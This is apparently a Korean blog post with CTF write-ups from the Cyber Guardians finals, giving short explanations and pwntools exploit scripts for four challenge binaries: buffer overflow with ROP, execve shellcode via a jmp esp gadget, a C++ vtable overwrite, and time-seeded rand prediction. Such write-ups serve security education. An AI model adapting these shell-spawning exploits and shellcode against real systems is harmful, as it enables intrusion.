Profile

머리정리하는곳

c2w2m2

[Cyber-guardians] 본선 write up

2등 먹었슴다~!!~!!~!~!~!!!~!~!!~!~!~!~!!~~!!~!~!!!~!~!~


포넙3개랑 리버싱 1개 올림니다

(사실 network 도 풀었는데 넘 쉬웠어서 생략하겠슴다)



cyber.zip




alien_hunter(200)


integer overflow 를 통해서 게임에서 이기고
bof 로 쓱싹 하면 되는 문제였습니다.

from pwn import *


p = process("./alien_hunter")

context.log_level='debug'

def kill():

for i in range(0,9):

p.sendline('1')

p.sendline('2')

for i in range(0,4):

p.sendline('1')




kill()



read_plt = 0x08048410

pppr = 0x08048819

bss = 0x804a03d

p.recvuntil("You are Winner!!! What's your Name???")

pay = "A"*0x40 + "ABCD"

pay += p32(read_plt) + p32(pppr) + p32(0) + p32(bss) + p32(8)

pay += p32(0x08048440) + p32(0xdeadbeef) + p32(bss)



p.send(pay)

p.sendline('/bin/sh\x00')

p.interactive()



ccocco(150)


read 를 통해서 bss 에 jmp esp 가젯을 넣어주고 쉘코드로 쓱싹하는 문제였습니다


from pwn import *


p = process("./ccocco")

context.log_level='debug'

elf = ELF("./ccocco")

puts_plt = 0x08048370

puts_got = 0x804a014

fflush_plt = 0x08048360

pr = 0x08048331

fflush_got = 0x804a010

read_plt = 0x08048350

bss = 0x0804a024


jmp = asm("jmp esp",arch='i386',os='linux')

p.recvuntil('Do you know RTL?\n\n')

shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

pay = "A"*0x88+"ABCD"

pay += p32(read_plt) + p32(0x08048589) + p32(0) +p32(bss+8) + p32(len(jmp)) +p32(bss+8) + shellcode#p32(0x080484C2)

print len(pay)

print pay

p.sendline(pay)

p.send(jmp)



p.interactive()



nodepad(250)


C++ 에 VTABLE 를 이용해서 호출되는 함수 주소를 바꿔주면되는데

3중 포인터에 맞춰서 넣어주시면 됩니다. 근데 \x0a 때문에 페이로드 전송 드럽게 안되서 입력 시작주소에 넣으려다 좀 패딩 넣고 했습니다.


from pwn import *


p = process("./notepad")

context.log_level='debug'

pay = p32(0x8048c8b)*100

pay += "A"*(1038 - len(pay) -6) + p32(0x8048c8b)

p.recvuntil('input:')

p.sendline("1")

p.recvuntil("INPUT : ")

p.sendline(pay)

p.sendline('1')

sleep(1)

p.recv(2048)


LetsGuess(150)


srand 가 같은 시드로 입력받았을때 rand 값은 같습니다. 

이때 srand 를 time 에 따라 줌으로써 이걸 이용해서 처음 입력으로 number 를 알아내고 빠르게 연결끊고 재연결 하면 풀립니다.


from pwn import *


p = process("./LetsGuess")

#context.log_level='debug'

p.sendline('1')

p.sendline('2')

p.sendline('3')

p.recvuntil('My numbers are... ')

dap = p.recvline().rstrip().split(' ')

print dap


p.close()

p = process("./LetsGuess")

for i in dap:

p.sendline(i)


print p.recvuntil('Wow! you made a perfect GUESS!!!')

print p.recv(2048)

print p.recv(2048)

print p.recv(2048)








'CTF Writeup' 카테고리의 다른 글

[Tu-ctf] writeup  (0) 2017.11.26
ubuntu ctf write up  (0) 2017.11.06
[화이트해커리그] Write up  (0) 2017.11.01
[h4ccctf] 출제자 write up  (0) 2017.10.29
Cyber Guardians 예선  (0) 2017.10.28